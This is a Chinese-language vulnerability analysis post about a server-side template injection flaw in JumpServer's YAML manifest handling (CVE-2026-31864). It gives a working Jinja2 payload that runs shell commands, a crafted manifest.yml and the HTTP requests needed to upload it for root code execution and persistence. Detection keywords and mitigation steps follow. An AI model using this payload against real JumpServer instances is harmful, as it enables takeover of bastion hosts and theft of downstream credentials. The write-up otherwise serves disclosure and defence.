JumpServer 远程代码执行漏洞 CVE-2026-31864 漏洞分析
漏洞分析
该漏洞存在于JumpServer的YAML配置文件处理逻辑中,由于在使用Jinja2模板引擎渲染用户上传的YAML文件时未启用沙箱环境,导致具有应用小程序管理或虚拟应用管理权限的攻击者可以通过构造恶意的manifest.yml文件实施服务端模板注入攻击,进而在JumpServer Core容器中以root权限执行任意系统命令,窃取所有被管理主机的敏感信息或篡改数据库数据。
### 0. 省流版 `apps/common/utils/yml.py` 里的 `yaml_load_with_i18n()` 在渲染用户上传的 `manifest.yml` 时,直接使用了未加沙箱的 `jinja2.Environment()`。 v4.10.15 及之前版本的关键逻辑如下: ```python env = Environment() env.filters['trans'] = lambda key: translate(key, i18n, lang) template = env.from_string(ori_text) yaml_data = template.render() ``` 这里的问题不复杂:上传包里的 `manifest.yml` 原文会被当成 Jinja2 模板直接编译并渲染。只要攻击者能控制这个文件内容,就可以在模板渲染阶段执行表达式,最终拿到代码执行。 v4.10.16 之后,官方将其改为 `SandboxedEnvironment`,同时清空了默认 `globals` 和 `filters`,这条利用链才被切断。 #### 攻击路径 ```text 攻击者(Admin 权限) │ ├─ POST /api/v1/terminal/virtual-apps/upload/ (需要 terminal.add_virtualapp) │ 或 ├─ POST /api/v1/terminal/applets/upload/ (需要 terminal.add_applet) │ ▼ 上传包含恶意 manifest.yml 的 ZIP │ ├─ extractall() 解压 ZIP ├─ validate_pkg() → yaml_load_with_i18n(manifest.yml) │ ├─ yaml.safe_load(ori_text) ← YAML 先通过语法校验 │ ├─ Environment().from_string(ori_text) ← 用户内容被当成模板 │ └─ template.render() ← SSTI / RCE 在这里触发 │ ▼ 命令在 JumpServer Core 容器内执行 ``` #### SSTI Payload 下面这条 payload 可以直接走到 `os.popen()`: ```jinja2 {{ lipsum.__globals__['os'].popen('echo aWQ=|base64 -d|sh').read().strip() }} ``` `aWQ=` 是 `id` 的 base64 编码。这里额外做了一层 base64,主要是为了减少引号和特殊字符对 YAML / Jinja2 语法的干扰。 ### 1. 漏洞概述 JumpServer 在处理 **Applet(远程应用发布器)** 和 **VirtualApp(虚拟应用)** 上传包时,会读取包内的 `manifest.yml`,然后通过 Jinja2 做一次渲染,用来支持 i18n。 问题出在这一步使用的是默认的 `jinja2.Environment()`。默认环境本身并不提供沙箱隔离,模板表达式可以访问对象属性、方法以及部分运行时上下文。只要有合适的入口,就可以进一步拿到 Python 对象链,最终走到 `os` 模块并执行系统命令。 在这个场景下,`manifest.yml` 来自用户上传的 ZIP 包,内容完全可控;而渲染动作发生在服务端校验安装包的过程中。因此,攻击者只需要把恶意 Jinja2 表达式写进 `manifest.yml`,就能在模板渲染时触发代码执行,拿到 JumpServer Core 容器内的命令执行能力。 这个问题不是近期才引入的。根据代码演进看,它从 **2023 年 4 月 i18n 功能引入时** 就已经存在,一直到 **2026 年 2 月** 才修掉,窗口期接近 **2 年 10 个月**。 ### 2. 根因分析 #### 2.1 漏洞代码 文件位置: ```text apps/common/utils/yml.py ``` v4.10.15 中的相关代码如下: ```python import io import yaml from jinja2 import Environment def yaml_load_with_i18n(stream, lang=None): ori_text = stream.read() stream = io.StringIO(ori_text) yaml_data = yaml.safe_load(stream) i18n = yaml_data.get('i18n', {}) env = Environment() env.filters['trans'] = lambda key: translate(key, i18n, lang) template = env.from_string(ori_text) yaml_data = template.render() yaml_f = io.StringIO(yaml_data) d = yaml.safe_load(yaml_f) if isinstance(d, dict): d.pop('i18n', None) return d ``` 这里其实有三个关键问题。 第一,使用的是默认 `Environment()`。 这意味着模板渲染环境没有沙箱,攻击者可以尝试访问对象属性链,比如 `__globals__`、`__class__` 这类路径。Jinja2 本身并不会替你做“只允许安全表达式”的限制。 第二,`ori_text` 完全来自用户上传的 `manifest.yml`。 也就是说,攻击者控制的不是模板变量,而是整段模板源码本身: ```python template = env.from_string(ori_text) ``` 这一步等于把用户上传的 YAML 直接交给模板引擎编译。 第三,`render()` 在 YAML 二次解析之前就执行了。 所以即使后面的 `yaml.safe_load()` 因为渲染结果格式不合法而报错,命令执行也已经发生了。换句话说,YAML 是否最终能成功解析,只影响接口是否返回正常结果,不影响前面的代码执行。 在默认 Jinja2 环境里,一个常见利用入口是内置全局函数 `lipsum`。它本质上是普通 Python 函数对象,可以通过 `__globals__` 拿到其所在模块的全局命名空间,而这个命名空间里通常有 `os`: ```text lipsum.__globals__ → os → popen() ``` 因此,像下面这种表达式就能成立: ```jinja2 {{ lipsum.__globals__['os'].popen('id').read() }} ``` #### 2.2 修复代码 修复提交:`820b83158`(2026-02-04) 修复后的思路比较直接,核心代码如下: ```python import yaml from jinja2 import StrictUndefined from jinja2.sandbox import SandboxedEnvironment def yaml_load_with_i18n(stream, lang=None): ori_text = stream.read() data = yaml.safe_load(ori_text) i18n = data.get("i18n", {}) env = SandboxedEnvironment( undefined=StrictUndefined, autoescape=False, ) def safe_trans(key): if not isinstance(key, str): raise ValueError("invalid i18n key") return translate(key, i18n, lang) env.filters.clear() env.globals.clear() env.filters["trans"] = safe_trans template = env.from_string(ori_text) try: rendered = template.render() except Exception: rendered = ori_text result = yaml.safe_load(rendered) result.pop("i18n", None) return result ``` 这次修复主要做了四件事: - 把 `Environment()` 换成 `SandboxedEnvironment` - 清空默认 `globals` - 清空默认 `filters` - 对 `trans` 的输入做类型校验 这几处改动是互相配合的。 单独换成 `SandboxedEnvironment`,可以阻断大量通过 dunder 属性遍历对象树的路径; 清空 `globals` 则会让 `lipsum`、`cycler`、`joiner`、`namespace` 这些常见入口直接不可用; 清空 `filters` 之后,一些可能被拿来辅助利用的过滤器(例如 `attr`)也被移除了; 再加上 `StrictUndefined` 和异常降级处理,模板渲染失败时不会再把异常一路抛上去。 从修复方式看,官方也已经明确认识到:问题不是 YAML 解析本身,而是**把用户可控文本当成未隔离模板执行**。 ### 3. 攻击面分析 #### 3.1 受影响的接口 在 v4.10.15 中,`yaml_load_with_i18n` 一共有 5 处调用,其中 3 处会直接处理用户上传包中的文件内容。 | 调用位置 | 文件来源 | 用户可控 | 触发条件 | |---|---|---|---| | `Applet.validate_pkg()` | 用户上传 ZIP | 是 | 上传 Applet 包 | | `Applet.load_platform_if_need()` | 用户上传 ZIP | 是 | ZIP 中包含 `platform.yml` | | `VirtualApp.validate_pkg()` | 用户上传 ZIP | 是 | 上传 VirtualApp 包 | | `get_platform_automation_methods()` | 系统内置目录 | 否 | 平台自动化方法加载 | | `ManifestI18nMixin.read_manifest_with_i18n()` | 已安装包文件 | 间接可控 | 序列化对象时读取 | 前 3 处是直接入口,比较容易理解。 第 5 处更值得注意:如果攻击者已经通过上传接口把恶意 `manifest.yml` 写入持久化目录,那么后续在后台页面查看 Applet / VirtualApp 列表时,系统还会再次读取并渲染这个文件。这样一来,漏洞不只是“一次性触发”,而是会变成**持久化 RCE**。 #### 3.2 攻击入口 两个主要入口分别是 Applet 上传和 VirtualApp 上传。 Applet 上传接口: ```http POST /api/v1/terminal/applets/upload/ ``` - 视图:`AppletViewSet.upload()` - 权限:`terminal.add_applet` - ZIP 内要求至少包含:`manifest.yml`、`icon.png`、`setup.yml` VirtualApp 上传接口: ```http POST /api/v1/terminal/virtual-apps/upload/ ``` - 视图:`VirtualAppViewSet.upload()` - 权限:`terminal.add_virtualapp` - ZIP 内要求至少包含:`manifest.yml`、`icon.png` 两个接口都会走文件上传序列化器,但这个序列化器只检查上传字段是不是文件,不检查压缩包内部内容,也不检查 YAML 模板是否存在危险表达式: ```python class FileSerializer(serializers.Serializer): file = serializers.FileField(label=_("File")) ``` 也就是说,真正决定是否危险的是后面的包解压和 `manifest.yml` 处理逻辑,而不是上传入口本身。 #### 3.3 认证方式 JumpServer REST API 支持多种认证方式,这些方式都可以进入上传接口: | 认证方式 | Header 格式 | 是否需要 CSRF | |---|---|---| | AccessKey 签名 | `Authorization: Sign {access_key_id}:{签名}` | 否 | | Private Token | `Authorization: Token {token_key}` | 否 | | Bearer Token | `Authorization: Bearer {token}` | 否 | | OAuth2 | `Authorization: Bearer {oauth_token}` | 否 | | Session | `Cookie: sessionid=...` | 是 | 如果使用 Token / Bearer 这一类认证方式,一般不需要额外处理 CSRF,因此对接口利用来说会更直接。 ### 4. 完整调用链 以 Applet 上传为例,从一次 HTTP 请求进入,到最终触发代码执行,大致链路如下: ```text HTTP POST /api/v1/terminal/applets/upload/ │ Header: Authorization: Bearer {token} │ Body: multipart/form-data, file=evil.zip │ ├── [认证] 认证中间件校验 token ├── [鉴权] RBACPermission 检查 terminal.add_applet ├── [路由] AppletViewSet.upload() │ ├── [解压] extract_and_check_file() │ ├── FileSerializer 校验上传字段 │ ├── 保存 ZIP 到临时路径 │ ├── zipfile.ZipFile.extractall() 解压 │ └── 计算 tmp_dir │ ├── [校验] Applet.validate_pkg(tmp_dir) │ ├── 检查 manifest.yml / icon.png / setup.yml 是否存在 │ ├── 打开 manifest.yml │ └── yaml_load_with_i18n(f) │ ├── 读取 ori_text │ ├── yaml.safe_load(ori_text) │ ├── Environment().from_string(ori_text) │ └── template.render() ← RCE │ └── [安装] Applet.install_from_dir(tmp_dir) ├── 再次调用 validate_pkg(),可能第二次触发 ├── 若存在 platform.yml,load_platform_if_need() 还会继续触发 └── copytree() 把恶意文件写入持久化目录 ``` 这条链路里没有任何一步会去拦截“模板表达式是否危险”。 YAML 只负责语法解析,不负责模板安全;文件上传只负责收文件,不负责内容审计;最终问题就落在 `from_string()` 和 `render()` 这两步上。 ### 5. 利用方式 #### 5.1 前提条件 要利用这个问题,前提并不复杂: - 拥有一个可以登录 JumpServer 的账号 - 该账号具备以下权限之一 ```text terminal.add_applet terminal.add_virtualapp ``` 从权限模型看,这不是“低权限匿名可打”的问题,但也不属于只有系统超级管理员才能触发的极端场景。只要账号有对应上传能力,就能到达危险逻辑。 #### 5.2 Payload 构造 默认 Jinja2 环境中常见的利用链之一是: ```text lipsum → __globals__ → os → os.popen() ``` 因此,把 payload 写进某个字符串字段里即可,例如: ```yaml name: poc_app display_name: "PoC App" version: "1.0" author: "{{ lipsum.__globals__['os'].popen('echo aWQ=|base64 -d|sh').read().strip() }}" is_active: true protocols: - vnc image_name: "poc_app" image_protocol: "vnc" image_port: 5900 tags: [] comment: "" i18n: {} ``` 这里把 payload 放到 `author` 字段,是因为这个字段在后续返回结果里比较容易看到回显。 如果命令输出本身不会破坏 YAML 结构,那么接口返回体里通常就能直接看到执行结果。 #### 5.3 利用步骤 一个典型利用流程如下。 1. 先拿到 Bearer Token: ```http POST /api/v1/authentication/tokens/ HTTP/1.1 Content-Type: application/json {"username": "admin", "password": "password"} ``` 2. 构造 ZIP 包,最简单的 VirtualApp 目录结构大概是: ```text poc_app.zip └── poc_app/ ├── manifest.yml └── icon.png ``` 如果走 Applet 入口,还需要再补一个 `setup.yml`。 3. 上传到目标接口: ```http POST /api/v1/terminal/virtual-apps/upload/ HTTP/1.1 Authorization: Bearer {token} Content-Type: multipart/form-data; boundary=--- ----- Content-Disposition: form-data; name="file"; filename="poc_app.zip" Content-Type: application/zip {ZIP 二进制内容} ----- ``` 4. 读取执行结果。 如果 payload 输出没有破坏 YAML 结构,返回的 JSON 里通常会出现类似: ```json { "id": "...", "name": "poc_app", "author": "uid=0(root) gid=0(root) groups=0(root)" } ``` 如果输出把 YAML 搞坏了,也不代表利用失败。很多情况下接口会返回 500,但代码早在 `template.render()` 阶段就已经执行完了。这种场景下依然可以通过外带回显或反连方式确认执行。 #### 5.4 持久化 这个漏洞还有一个比较麻烦的点:上传成功后,恶意 `manifest.yml` 会被复制到持久化目录中。 ```text data/media/applets/{name}/manifest.yml data/media/virtual_apps/{name}/manifest.yml ``` 之后只要后台还有地方会去读取并渲染这个文件,就会重复触发。 例如管理员打开 Applet / VirtualApp 列表页,序列化对象时重新走到 `read_manifest_with_i18n()`,恶意模板又会执行一次。 这也是为什么这个问题的实际影响不只是“上传时打一发”,而是能变成**后台查看即触发**的持久化执行点。 ### 6. 影响评估 #### 6.1 直接影响 一旦成功利用,最直接的影响就是在 JumpServer Core 容器内执行任意系统命令。 结合 JumpServer 的部署方式,这通常意味着: - 读取数据库连接信息 - 访问 Redis / PostgreSQL / MySQL 等后端服务 - 获取 `SECRET_KEY` - 进一步解密系统里存储的资产密码 如果容器是以高权限用户运行,影响会更大。 #### 6.2 横向扩展 JumpServer 本身就是堡垒机,掌握着大量下游资产的连接信息。 因此控制 Core 容器之后,风险很容易从“单点容器被打”升级成“整套运维入口被接管”。 比较现实的后续动作包括: - 导出数据库中的资产凭据 - 配合 `SECRET_KEY` 解密敏感字段 - 借助 Celery 任务能力进一步影响 Worker - 利用 JumpServer 现有的主机连接能力向内网横向移动 从资产价值上看,这类问题的风险通常要高于普通 Web RCE。 #### 6.3 影响范围 受影响版本范围如下: ```text v3.2.0 – v3.10.21 v4.0.0 – v4.10.15 ``` 如果版本处在上述范围内,且启用了相关上传功能,那么就需要按受影响处理。 ### 7. 排查建议 这个问题排查起来不算复杂,可以从几个方向入手。 第一,先确认版本。 如果实例版本落在受影响范围内,优先按高风险问题跟进: ```bash jumpserver --version ``` 第二,审计上传接口调用记录。 重点看下面两个接口是否有异常上传行为,尤其是来源异常、频率异常或时间点异常的请求: ```text POST /api/v1/terminal/applets/upload/ POST /api/v1/terminal/virtual-apps/upload/ ``` 第三,检查持久化目录里的 `manifest.yml`。 正常情况下,这类文件里即使存在模板语法,也应该只是简单的 i18n 翻译形式;如果出现明显的对象链访问或命令执行关键词,就需要高度怀疑: ```bash grep -r '{{' data/media/applets/*/manifest.yml grep -r '{{' data/media/virtual_apps/*/manifest.yml ``` 重点关注这些关键字: ```text __globals__ __class__ lipsum cycler joiner popen subprocess os ``` 第四,回头审计拥有相关上传权限的账号。 特别是 `terminal.add_applet` 和 `terminal.add_virtualapp`,看看是否有临时授权、过度授权或不清楚用途的账号长期持有这些能力。 ### 8. 修复建议 最直接的修复方式就是升级到已经修复的版本: ```text v3.10.22+ v4.10.16+ ``` 如果暂时无法升级,至少可以先做几件缓解措施: - 在 Web 层限制上传接口的访问来源,例如通过 Nginx ACL 只允许特定管理网段访问 - 收紧 `terminal.add_applet` / `terminal.add_virtualapp` 权限 - 临时下线不必要的 Applet / VirtualApp 上传功能 - 排查并清理已经落地到持久化目录中的可疑 `manifest.yml` 不过这些都只是缓解。 根本问题仍然是:**不能把用户可控文本放进未隔离的模板环境里执行**。只要这条逻辑还在,风险就不会真正消失。
发表于 2026-03-16 09:55:23
阅读 ( 2086 )
分类:
漏洞分析
3 推荐
收藏
0 条评论
qwetvg
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!